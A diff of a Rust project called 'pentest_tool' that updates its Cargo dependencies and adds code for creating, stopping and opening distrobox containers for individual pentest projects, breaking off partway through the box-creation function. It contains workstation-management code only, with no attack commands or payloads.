checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"autocfg",
|
"autocfg",
|
||||||
|
"libm",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -1239,17 +1592,68 @@ version = "0.2.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
|
checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "p256"
|
||||||
|
version = "0.13.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b"
|
||||||
|
dependencies = [
|
||||||
|
"ecdsa",
|
||||||
|
"elliptic-curve",
|
||||||
|
"primeorder",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "p384"
|
||||||
|
version = "0.13.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6"
|
||||||
|
dependencies = [
|
||||||
|
"ecdsa",
|
||||||
|
"elliptic-curve",
|
||||||
|
"primeorder",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "p521"
|
||||||
|
version = "0.13.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0fc9e2161f1f215afdfce23677034ae137bbd45016a880c2eb3ba8eb95f085b2"
|
||||||
|
dependencies = [
|
||||||
|
"base16ct",
|
||||||
|
"ecdsa",
|
||||||
|
"elliptic-curve",
|
||||||
|
"primeorder",
|
||||||
|
"rand_core",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pem-rfc7468"
|
||||||
|
version = "0.7.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "pentest_tool"
|
name = "pentest_tool"
|
||||||
version = "0.2.0"
|
version = "3.1.1"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"chrono",
|
"chrono",
|
||||||
"clearscreen",
|
"clearscreen",
|
||||||
|
"colored",
|
||||||
"directories",
|
"directories",
|
||||||
|
"dns-lookup",
|
||||||
"fs_extra",
|
"fs_extra",
|
||||||
"futures-io 0.2.1",
|
"futures-io 0.2.1",
|
||||||
"reqwest",
|
"reqwest",
|
||||||
"rodio",
|
"rodio",
|
||||||
|
"ssh-rs",
|
||||||
|
"term_size",
|
||||||
"walkdir",
|
"walkdir",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -1309,12 +1713,51 @@ version = "0.1.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pkcs1"
|
||||||
|
version = "0.7.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"pkcs8",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pkcs8"
|
||||||
|
version = "0.10.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "pkg-config"
|
name = "pkg-config"
|
||||||
version = "0.3.31"
|
version = "0.3.31"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
|
checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ppv-lite86"
|
||||||
|
version = "0.2.21"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||||
|
dependencies = [
|
||||||
|
"zerocopy",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "primeorder"
|
||||||
|
version = "0.13.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6"
|
||||||
|
dependencies = [
|
||||||
|
"elliptic-curve",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "proc-macro-crate"
|
name = "proc-macro-crate"
|
||||||
version = "3.2.0"
|
version = "3.2.0"
|
||||||
@@ -1348,6 +1791,18 @@ version = "0.8.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"rand_chacha",
|
||||||
|
"rand_core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_chacha"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||||
|
dependencies = [
|
||||||
|
"ppv-lite86",
|
||||||
"rand_core",
|
"rand_core",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -1356,6 +1811,9 @@ name = "rand_core"
|
|||||||
version = "0.6.4"
|
version = "0.6.4"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||||
|
dependencies = [
|
||||||
|
"getrandom",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "redox_users"
|
name = "redox_users"
|
||||||
@@ -1442,6 +1900,16 @@ dependencies = [
|
|||||||
"windows-registry",
|
"windows-registry",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rfc6979"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2"
|
||||||
|
dependencies = [
|
||||||
|
"hmac",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ring"
|
name = "ring"
|
||||||
version = "0.17.8"
|
version = "0.17.8"
|
||||||
@@ -1470,6 +1938,27 @@ dependencies = [
|
|||||||
"symphonia",
|
"symphonia",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rsa"
|
||||||
|
version = "0.9.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78928ac1ed176a5ca1d17e578a1825f3d81ca54cf41053a592584b020cfd691b"
|
||||||
|
dependencies = [
|
||||||
|
"const-oid",
|
||||||
|
"digest",
|
||||||
|
"num-bigint-dig",
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
"pkcs1",
|
||||||
|
"pkcs8",
|
||||||
|
"rand_core",
|
||||||
|
"sha2",
|
||||||
|
"signature",
|
||||||
|
"spki",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustc-demangle"
|
name = "rustc-demangle"
|
||||||
version = "0.1.24"
|
version = "0.1.24"
|
||||||
@@ -1482,6 +1971,15 @@ version = "1.1.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustc_version"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92"
|
||||||
|
dependencies = [
|
||||||
|
"semver",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustix"
|
name = "rustix"
|
||||||
version = "0.38.42"
|
version = "0.38.42"
|
||||||
@@ -1534,6 +2032,12 @@ dependencies = [
|
|||||||
"untrusted",
|
"untrusted",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustversion"
|
||||||
|
version = "1.0.21"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ryu"
|
name = "ryu"
|
||||||
version = "1.0.18"
|
version = "1.0.18"
|
||||||
@@ -1558,6 +2062,20 @@ dependencies = [
|
|||||||
"windows-sys 0.59.0",
|
"windows-sys 0.59.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sec1"
|
||||||
|
version = "0.7.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc"
|
||||||
|
dependencies = [
|
||||||
|
"base16ct",
|
||||||
|
"der",
|
||||||
|
"generic-array",
|
||||||
|
"pkcs8",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "security-framework"
|
name = "security-framework"
|
||||||
version = "2.11.1"
|
version = "2.11.1"
|
||||||
@@ -1581,6 +2099,12 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "semver"
|
||||||
|
version = "1.0.26"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serde"
|
name = "serde"
|
||||||
version = "1.0.217"
|
version = "1.0.217"
|
||||||
@@ -1625,12 +2149,33 @@ dependencies = [
|
|||||||
"serde",
|
"serde",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sha2"
|
||||||
|
version = "0.10.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures",
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shlex"
|
name = "shlex"
|
||||||
version = "1.3.0"
|
version = "1.3.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "signature"
|
||||||
|
version = "2.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"
|
||||||
|
dependencies = [
|
||||||
|
"digest",
|
||||||
|
"rand_core",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "siphasher"
|
name = "siphasher"
|
||||||
version = "0.3.11"
|
version = "0.3.11"
|
||||||
@@ -1668,12 +2213,106 @@ version = "0.9.8"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "spki"
|
||||||
|
version = "0.7.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
"der",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-cipher"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f"
|
||||||
|
dependencies = [
|
||||||
|
"cipher",
|
||||||
|
"ssh-encoding",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-encoding"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
"pem-rfc7468",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-key"
|
||||||
|
version = "0.6.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3"
|
||||||
|
dependencies = [
|
||||||
|
"ed25519-dalek",
|
||||||
|
"num-bigint-dig",
|
||||||
|
"p256",
|
||||||
|
"p384",
|
||||||
|
"p521",
|
||||||
|
"rand_core",
|
||||||
|
"rsa",
|
||||||
|
"sec1",
|
||||||
|
"sha2",
|
||||||
|
"signature",
|
||||||
|
"ssh-cipher",
|
||||||
|
"ssh-encoding",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-rs"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "04811a04a4dfce78c2a4fbe335501c9e0d6f76fefc5f93adc31b2dd9d5e3a478"
|
||||||
|
dependencies = [
|
||||||
|
"aes",
|
||||||
|
"ctr",
|
||||||
|
"flate2",
|
||||||
|
"num-bigint",
|
||||||
|
"rand",
|
||||||
|
"ring",
|
||||||
|
"rsa",
|
||||||
|
"sha2",
|
||||||
|
"signature",
|
||||||
|
"ssh-key",
|
||||||
|
"strum",
|
||||||
|
"strum_macros",
|
||||||
|
"thiserror",
|
||||||
|
"tracing",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "stable_deref_trait"
|
name = "stable_deref_trait"
|
||||||
version = "1.2.0"
|
version = "1.2.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
|
checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strum"
|
||||||
|
version = "0.25.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "290d54ea6f91c969195bdbcd7442c8c2a2ba87da8bf60a7ee86a235d4bc1e125"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strum_macros"
|
||||||
|
version = "0.25.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "23dc1fa9ac9c169a78ba62f0b841814b7abae11bdd047b9c58f893439e309ea0"
|
||||||
|
dependencies = [
|
||||||
|
"heck",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"rustversion",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "subtle"
|
name = "subtle"
|
||||||
version = "2.6.1"
|
version = "2.6.1"
|
||||||
@@ -1795,6 +2434,16 @@ dependencies = [
|
|||||||
"windows-sys 0.59.0",
|
"windows-sys 0.59.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "term_size"
|
||||||
|
version = "0.3.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1e4129646ca0ed8f45d09b929036bafad5377103edd06e50bf574b353d2b08d9"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "terminfo"
|
name = "terminfo"
|
||||||
version = "0.8.0"
|
version = "0.8.0"
|
||||||
@@ -1951,10 +2600,23 @@ version = "0.1.41"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
|
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"log",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
|
"tracing-attributes",
|
||||||
"tracing-core",
|
"tracing-core",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-attributes"
|
||||||
|
version = "0.1.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tracing-core"
|
name = "tracing-core"
|
||||||
version = "0.1.33"
|
version = "0.1.33"
|
||||||
@@ -1970,6 +2632,12 @@ version = "0.2.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
|
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "typenum"
|
||||||
|
version = "1.18.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "unicode-ident"
|
name = "unicode-ident"
|
||||||
version = "1.0.14"
|
version = "1.0.14"
|
||||||
@@ -2011,6 +2679,12 @@ version = "0.2.15"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
|
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "version_check"
|
||||||
|
version = "0.9.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "walkdir"
|
name = "walkdir"
|
||||||
version = "2.5.0"
|
version = "2.5.0"
|
||||||
@@ -2489,6 +3163,26 @@ dependencies = [
|
|||||||
"synstructure",
|
"synstructure",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zerocopy"
|
||||||
|
version = "0.8.26"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
|
||||||
|
dependencies = [
|
||||||
|
"zerocopy-derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zerocopy-derive"
|
||||||
|
version = "0.8.26"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "zerofrom"
|
name = "zerofrom"
|
||||||
version = "0.1.5"
|
version = "0.1.5"
|
||||||
|
|||||||
@@ -1,14 +1,18 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "pentest_tool"
|
name = "pentest_tool"
|
||||||
version = "0.2.0"
|
version = "3.1.1"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
chrono = "0.4.39"
|
chrono = "0.4.39"
|
||||||
clearscreen = "3.0.0"
|
clearscreen = "3.0.0"
|
||||||
|
colored = "3.0.0"
|
||||||
directories = "5.0.1"
|
directories = "5.0.1"
|
||||||
|
dns-lookup = "2.0.4"
|
||||||
fs_extra = "1.3.0"
|
fs_extra = "1.3.0"
|
||||||
futures-io = { version = "0.2.0-beta" }
|
futures-io = { version = "0.2.0-beta" }
|
||||||
reqwest = {version = "0.12.12", features = ["blocking", "json"]}
|
reqwest = {version = "0.12.12", features = ["blocking", "json"]}
|
||||||
rodio = "0.20.1"
|
rodio = "0.20.1"
|
||||||
|
ssh-rs = "0.5.0"
|
||||||
|
term_size = "0.3.2"
|
||||||
walkdir = "2.5.0"
|
walkdir = "2.5.0"
|
||||||
|
|||||||
@@ -1,5 +1,13 @@
|
|||||||
use std::process;
|
use std::process::Command;
|
||||||
use crate::Project;
|
use std::{path::PathBuf, process};
|
||||||
|
use std::env;
|
||||||
|
use std::fs;
|
||||||
|
use std::io::Write;
|
||||||
|
use std::thread::{self, JoinHandle};
|
||||||
|
use std::time::Duration;
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
|
use crate::{get_user_input, Project};
|
||||||
|
|
||||||
pub fn stop_all_boxes(projects: &Vec<Project>){
|
pub fn stop_all_boxes(projects: &Vec<Project>){
|
||||||
let mut problem_childs: Vec<Project> = Vec::new();
|
let mut problem_childs: Vec<Project> = Vec::new();
|
||||||
@@ -37,6 +45,10 @@ pub fn project_standalone_terminal(project: Project, mut terminal: String){
|
|||||||
if terminal.contains("profile"){
|
if terminal.contains("profile"){
|
||||||
profile = true;
|
profile = true;
|
||||||
}
|
}
|
||||||
|
if terminal.contains("!!!"){
|
||||||
|
let terminal_launch_cmd = format!("distrobox enter --root {}", &project.boxname);
|
||||||
|
terminal = terminal.replace("!!!", &terminal_launch_cmd);
|
||||||
|
}
|
||||||
let terminal_vec:Vec<&str> = terminal.split(" ").collect();
|
let terminal_vec:Vec<&str> = terminal.split(" ").collect();
|
||||||
let mut terminal_start = process::Command::new(terminal_vec[0]);
|
let mut terminal_start = process::Command::new(terminal_vec[0]);
|
||||||
let mut first = true;
|
let mut first = true;
|
||||||
@@ -63,3 +75,216 @@ pub fn project_standalone_terminal(project: Project, mut terminal: String){
|
|||||||
pub fn project_inline_terminal(project: Project){
|
pub fn project_inline_terminal(project: Project){
|
||||||
process::Command::new("distrobox").arg("enter").arg("--root").arg(project.boxname).arg("--").arg("script").arg("-a").arg("-B").arg("/pentest/working/terminal.log").status().expect("error opeing konsole");
|
process::Command::new("distrobox").arg("enter").arg("--root").arg(project.boxname).arg("--").arg("script").arg("-a").arg("-B").arg("/pentest/working/terminal.log").status().expect("error opeing konsole");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn make_box(project: &Project, tools_dir: &PathBuf, boxtemplate: &String, new: bool, fingerprint: bool){
|
||||||
|
println!("stopping template box to ensure we can clone it!");
|
||||||
|
let stop_result = Command::new("distrobox").arg("stop").arg("--root").arg(boxtemplate).status();
|
||||||
|
if stop_result.is_err(){
|
||||||
|
println!("error stopping template!");
|
||||||
|
}
|
||||||
|
if !new{
|
||||||
|
let _distrobox_stop_status = process::Command::new("distrobox").arg("stop").arg("--root").arg(&project.boxname).status().expect("error stopping distrobox");
|
||||||
|
let distrobox_rm_status = process::Command::new("distrobox-rm")
|
||||||
|
.arg("--root")
|
||||||
|
.arg("-f")
|
||||||
|
.arg(&project.boxname)
|
||||||
|
.status().expect("error calling distrobox");
|
||||||
|
if distrobox_rm_status.success(){
|
||||||
|
println!("Distrobox Removal Successful!!!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("Distrobox Removal Failed, manual removal required!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut box_name_path = project.files_folder.clone();
|
||||||
|
let box_name = format!("{}_{}", &boxtemplate, &project.customer);
|
||||||
|
box_name_path.push("boxname");
|
||||||
|
let mut box_name_file = fs::File::create(box_name_path).expect("Error creating box name file");
|
||||||
|
box_name_file.write_all(&box_name.as_bytes()).expect("error writing boxname to box file");
|
||||||
|
let pentest_volume = format!("{}:/pentest:rw", &project.files_folder.display());
|
||||||
|
let toold_volume = format!("{}:/tools:rw", tools_dir.display());
|
||||||
|
let mut distrobox_cmd = String::new();
|
||||||
|
if fingerprint{
|
||||||
|
println!("creating box with shared volume for fingerprints... note you will still need to set up fingerprint authentication in your distrobox");
|
||||||
|
println!("\nfor example, you may need to install fprintd and imagemegick on your template box, and set up the pam files to utilize finger print auth");
|
||||||
|
println!("\nsee https://wiki.archlinux.org/title/Fprint for more information and instructions");
|
||||||
|
distrobox_cmd = format!("distrobox create --root --init --clone {} --volume {} --volume {} --volume /var/lib/fprint:/var/lib/fprint:rw --name {}", boxtemplate, toold_volume, pentest_volume, box_name);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
distrobox_cmd = format!("distrobox create --root --init --clone {} --volume {} --volume {} --name {}", boxtemplate, toold_volume, pentest_volume, box_name);
|
||||||
|
}
|
||||||
|
println!("{}", distrobox_cmd);
|
||||||
|
let distrobox_cmd_vec: Vec<&str> = distrobox_cmd.split_whitespace().collect();
|
||||||
|
let mut distrobox_cmd_build = process::Command::new("distrobox");
|
||||||
|
let mut first = true;
|
||||||
|
for word in &distrobox_cmd_vec{
|
||||||
|
if first == false{
|
||||||
|
println!("adding {} as an argument for the creation command...", word);
|
||||||
|
distrobox_cmd_build.arg(word);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let distrobox_result = distrobox_cmd_build.status();
|
||||||
|
if distrobox_result.is_err(){
|
||||||
|
println!("oooof we ran into trouble creating your distrobox!!");
|
||||||
|
println!("try creating it manually!");
|
||||||
|
println!("{}", distrobox_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if distrobox_result.unwrap().success(){
|
||||||
|
